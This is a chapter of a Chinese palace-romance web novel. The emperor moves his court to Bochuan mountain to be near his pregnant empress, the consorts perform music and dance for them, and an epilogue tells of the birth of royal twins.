贤贵妃不屑董贵人轻浮之行。 被乾元帝找去聊了没多久,贤贵妃也开始自由行走宫廷内外了。 出入才一回,贤贵妃便清晰意识到从前她看不惯董贵人,完全是因为她没办法如董贵人般,像只自由自在的小鸟,她纯纯就是嫉妒! 女学开山讲学,分清课与杂学。 清课免了繁文缛节死板女训,琴棋书画等雅艺开办起来,须得有精通内里门道之人来镇着,贤贵妃顺理成章地得了这份差事。 不仅是清课的满门师,贤贵妃长于儒家,自小受教于家学,开设一门女学书院,要设立什么规矩什么进学制,诸如管理方面很有经验。 得皇后看重,贤贵妃坐上了博川女学副院的位置。 如此,贤贵妃自然也要长居博川,隔十天博川旬休,她才回一次望京,与内廷司的领事对对账,也省得宫里人趁着主子不在偷瞒虚报! 乾元帝腾开手往自己的后宫一走,初冬的风刮人脸疼,绕过御花园的一处假山,恰好听闻一道娇柔的歌喉,纵目一看,不远处亭台上,身上只披了一层薄纱的赵嫔抖得像只脱了毛的鸭,两翅赤臂起舞。 很不雅观! 但胜在有心,阖宫上下,走得差不多了,乾元帝挑挑拣拣,发觉也就这一个仅存的干人还惦记着争宠了。 说来也是很心酸的。 听说贤贵妃掌管宫闱很严苛,乾元帝收回目光,吩咐身边人:“赵嫔瘦得朕看不下去,给膳司局传个话,往后赵嫔那处多两道荤菜吧。” 赵嫔捂着厚厚的被褥哭得上气不接下气,她算是看明白了,陛下不对劲,整个后宫都不对劲。 她还以为顶在头上的主子们不再,属于自己独宠的隆恩就要降临了!结果瘦得两肋露出排骨,冷风中颤颤巍巍跳舞,最后换来什么?一盅鸡汤一碟子风干牛肉? 赵嫔嚼着风干牛肉,第二天醒来,腮帮子肿老高,瞧着镜子里松鼠似的自己。 瞧瞧上回给皇后娘娘献舞,不小心崴了脚踝,皇后娘娘做主,又是给她加菜又是送来上好的跌打损伤药膏,还送了两匹绫罗,十个金灿灿的元宝! 陛下赏了什么? 一盅鸡汤一碟子风干牛肉? 赵嫔领悟过一个道理——讨好皇帝没用!得讨好皇后娘娘才对! 逢董贵人罕见地回宫拿东西,苦候许久的赵嫔猛然在宫道上扑住似乎又壮了不少的董贵人的手臂,央求比自己位分底的贵人带她一块出宫吧。 董贵人问:“你去博川能干什么?” 赵嫔泪眼:“那你在博川做什么?” 董贵人:“我能做的事情多了去。我如今在女学担着杂学武师的职缺,教一些力气大的姑娘们学花枪。” 赵嫔不服:“我也能教姑娘们上课!我教她们跳舞!我打小就跳舞跳得很好!我的舞不比内庭百花苑的跳舞宫人们差!” 董贵人一想,“那也行吧,我去跟陛下回个话,今儿走时一并带上你。你先回去收拾行李吧。” 此时此刻 童公公问陛下是否要让后宫嫔妃们也住到博川山时,乾元帝无可奈何,“她们几个比朕来得还早,搬不搬的,无非就是明面上一道圣旨罢了。” 小朝堂要搬来,一应的随行公署自然也要来。 崔雪朝醒来时,就见床畔站着万姑姑还有几个眼熟的坤宁宫宫人,慢慢起身,听着万姑姑回禀望京中的变动,深感那人有些大动干戈,但她大着肚子确实不宜出行。 “辛劳你们了。” 崔雪朝看眼阿屏:“我记着昨日送来不少山鸡,让后厨的管事料理好,各处分送一只附带些姜,炖了汤水给大家伙御寒。” 阿屏道一声是,出门去传话了。 看得出来,万姑姑等人一来,阿屏雀跃的脚步都稳重不少,崔雪朝看眼万姑姑:“日子越重,身边得力的人越要细致,你来了,我也安心。” 万姑姑眼眶一酸,跪下给皇后请罪,“小人是坤宁宫的领事,万事该以娘娘为先,从前在宫里给陛下偷偷报过几次信,总想着是为娘娘和陛下好,眼下小人晓得是自己错了,往后一定忠心!” 崔雪朝没说旁的,恰时外头院子里传来宫人请安的声音,让万姑姑起吧,“往后办好差事就行。” 抬眸去看,见他今日纳罕穿了一身白绸袍,远山如黛衬托得很有江南书生的清绝,不过略显魁梧的身躯似乎与这份郎君气质不大相配,应是他也觉得,提着一个小巧的琵琶在手,站在门边换着鞋,脸冲着屋里,“吃过了吗?” 崔雪朝点头,不自觉唇边露出笑意,“怎么这会儿过来了?小朝廷随驾,事务应该不少吧。” 袁望说底下人差办,有急事再报上来。 今年冬天的雪落得不早不晚,不大不小,农司的人回禀说很有大丰年的先兆,小旦年才过,朝堂上没什么大事,顶天不过是年底汇算户部以及来年的财政大会,且早着呢,不着急。 “你看这玩意儿。” 袁望隔着一道笼火举了举手里的琵琶件儿,等身子暖和了才坐到她身侧,膝头挨了膝头,很温存地拨拉下琵琶的弦线:“是我亲手做的,真鹿角搭的敷弦台。” 崔雪朝往他手指的地方看,听他表功劳:“你看,游龙戏凤,我自己雕的。” 长条虫的龙圆乎乎的,绕着一只引颈而歌的凤凰,模样憨巧可爱,崔雪朝确实很喜欢。 寻常的琵琶是四弦,这一个却是五弦,上等紫檀木做的面板,髹饰着十三朵六瓣小团花,花瓣由珍贵的玳瑁镶嵌,花蕊部分用彩色的透明琥珀填充。 琴头、琴颈、覆手等部分,镶嵌着鸟蝶、花草、云彩和宝相螺钿花纹,图案繁丽复杂、工艺精湛,有宫中巧匠的手法。 合算下来,他的功劳并不大,但他是皇帝,丁点分寸都有撑天的伟大,崔雪朝抚了抚自己的肚子,有些遗憾:“琵琶虽好,可惜我现在怀着身子,没法弹奏。” 袁望说无碍,“我幼时六艺很好,琵琶虽不精通,也能弹奏一二。” 哦哟,陛下要献艺,便不能简简单单地坐着听听。 于是吩咐人焚上等的沉水炉香,花谢楼台太冷,厢房暖阁也很雅致,这当口汉王来了,包扎的手肉肉的一只没办法写字,寻来坐好没一会儿门帘子上悉悉索索,胖黄一扭一扭带着自己的肥肚子走进来,不用打招呼往桌台下一窝,开始打盹。 袁望只当脚下的黄猫不在,自顾调着弦,时而弹个三五音,似乎是在寻找幼时的手感。 暖阁的一丛幽兰绽得恣意,与沉香交缠,梅花小几上的端炉汩汩蒸腾着热气,一盏润燥的甜梨水刚入喉,门上呼啦又进来一行人。 袁望脸上的笑意随着这一伙人进来,慢慢消散。 贤贵妃等三人先给陛下皇后行礼,叫起后,很有分派地寻到位置坐下,位分最高的贤贵妃往长榻一坐,赵嫔次之,择了踏板边边的绣墩,董贵人很自在,先把大黄猫抱在怀里,也知道猫毛麻烦,往最远处的高椅上坐定。 乾元帝:“” “听闻陛下要搬来博川山长住了?” 董贵人大大咧咧地问了一嘴。 乾元帝:“怎么?你有意见?” 董贵人摇头。 “今儿起才发现博川山多了好些禁军内监,上山下山好几重的门岗,嫔妾是担心后日女学上课,学生们上山给陛下添麻烦。” 什么给陛下添麻烦,怕是觉得乾元帝来了博川山,给博川山添了不少繁琐。 乾元帝气郁,目光往皇后一瞬拧起的眉峰看去,立时开嗓:“东苑是皇后居所,西苑才是女学所在,朕已经吩咐人去西苑墙另开一道山门了。” 董贵人还欲张口,分明逃脱了层层围起来的宫闱,这会儿又画地为牢,心里很是不忿。 可惜嘴一动,那边厢赵嫔抢话:“陛下是要给娘娘弹琵琶解闷吗?” 乾元帝说是。 赵嫔扭腰就站起,“您要弹哪一只曲子,嫔妾能一舞助兴!” 乾元帝:“《阳春白雪》” 赵嫔灿灿的眼眸看向皇后娘娘:“此曲旋律清新流畅,活泼轻快,是表现冬去春来的初春之态,嫔妾学过此曲的伴舞!” 贤贵妃瞧不得她谄媚,冷哼一声,“此乃楚人乐,本该琵琶独奏的瑰宝,你起舞,不伦不类!” 扭头跟伺候的宫人道:“去我屋里,把我的翘头筝取来。”看向皇后,“《阳春白雪》丝竹合奏、管弦齐鸣,乃是北地人衍生出的乐版,娘娘没听过吧?” 崔雪朝果然好奇,“可有分别?” 贤贵妃得意瞥瞥咬唇愤恨地瞪着自己的赵嫔:“娘娘只管听嫔妾奏过便知晓了。” “” 乾元帝轻咳一声,以示自己的存在。 赵嫔软着音儿往踏板上一坐,粉拳咚咚咚给皇后娘娘捶着小腿:“娘娘,嫔妾想跳舞给您解闷!” 崔雪朝受不住她撒娇,赵嫔才十几,寻常在民间也不过是小姑娘的年纪,困在宫闱中实在可怜,她那点心思很简单,只是想寻个傍身的靠山,若是有机会得些赏赐接济给贫寒的家中。既不过分贪恋晋升,也不张狂得给家中父兄求官问爵,多单纯的一个人呐。 “曲意头好,你跳舞自然也好看。前些时候不是还与百花局的舞宫一块编排大舞要在国宴上给外宾展示,正好今日陛下也在,让他瞧瞧你的功力也好。” 赵嫔喜滋滋地说好,扭过身又给陛下蹲了身,只是很不走心,急急忙忙去抱厦后头换衣裳去了。 董贵人见她一走,十分好奇:“难不成你走哪把舞服带到哪儿?” 匆匆道:“娘娘陛下,嫔妾去帮帮赵嫔。”一溜烟人没了。 乾元帝:“” 怪道皇后在博川乐不思归宫,这等神仙日子,回宫做什么? 庆幸自己来得不算晚,也庆幸皇后肚子里的孩子是个筹码,跟几个正值年轻貌美的嫔妃比起来,就算有一天年老色衰,乾元帝心想将来有两个孩子稳住了自己的地位,一时又得意极了。 没多久,去取筝的回来了,换衣裳的也预备好了。 幸好暖阁不小,当地腾出来给赵嫔施展的空间。 叮叮鸣奏,贤贵妃率先拨了一个起调。 筝是较为浑厚的,琵琶清脆尖亮,二者起初融合得并不太好。崔雪朝不自觉颦眉,下一瞬意图压下筝音的琵琶敛起锋芒,崔雪朝看向正东坐在圈椅上的男人,见他眉眼很是憋屈,指腹却从容地配着筝的大音部,瞬间失笑。 一国之主,应是第一次屈服。 地上的赵嫔衣裳旋起重重叠叠的花瓣,近看正是眼花缭乱,这类姿容实在该放在高台之上,仰望之,如有莲花绽放的美,只在堂下方寸之间,实在惋惜。 一曲终了,贤贵妃神情平淡地摘下指套,从她傲然的眼角似乎品出赢了什么的负气。 “赏。” 重整衣袍的乾元帝舒淡道,“往日你们陪伴皇后甚是有功,一人赏银百两,珍宝局翡翠头面一套。” 汉王在榻上睡得香甜。 贤贵妃宠辱不惊。 赵嫔喜笑颜开。 董贵人:“陛下,嫔妾的头面能换成旁的吗?譬如您赠予皇后娘娘的那节软鞭,可还有富余?” 乾元帝冷冷看她一眼:“不能换。” 就是有富余也是给皇后留着赏玩的! 晌午这三个堵眼的走了,袁望得以跟皇后两两独处。 他陪着她在山苑散步,在宫人指点下给她高肿的脚和小腿揉捏,小食不能由着她多食,尤其是糖果点心。 两个孩子会让她的腰吃不消,仰靠不多久,就得侧躺,暖和的寝居内皇后单穿一件轻衫还是觉得燥热,非要赤膊。袁望怕她不小心着风寒,语气强硬了些,燥热的皇后很不耐地摔了一盏茶。 破碎的茶盏还没收拾,皇后又泪眼婆娑,哭得很伤心,说自己是不是太不懂事了。 袁望一边宽抚,一边不着痕迹地偏偏下身。 不怪他动念,旷了很久的身子如狼似虎,皇后牡丹色的单衫轻薄得像是某种陷阱,很勾魂。且得忍耐。 博川山好地方,乾元帝自京城迁居而来,一眨眼过去两月。 百官渐渐也接受了五日车马去一次博川行营上朝轮对的规矩。 可别说,在望京时,不拘是前朝投降来的旧臣,还是随着袁氏打下江山的新人,自皇后出走,高家倒台牵涉铁矿大案并科举舞弊,几番事故同出,朝臣们很是如履薄冰,不少人预感怕是走不到大乾的河对岸了。 那阵子,就连跟陛下打江山的肱骨臂膀,都觉得自己跟陛下之间似乎出了问题。夹着尾巴做人,生怕被清算到头。 兴隆三年初,陛下终于决定放下屠刀,不再大刀阔斧地革除前朝留下的痼疾,开始改变政风,顺应仲首辅的良策,施行仁政。 小小的博川镇渐渐兴隆起来,不少品级高的官员受不了冷冬车马,在博川镇上或买或租赁了房舍,商贸人口流通,天子脚下繁盛起来不过几月光景。 也就在这一年的初春,以宸元皇后为大乾平安诞下龙凤双祥的大喜事为开端,长达三十载的兴隆年号的中兴之政拉开帷幕。【你现在阅读的是 】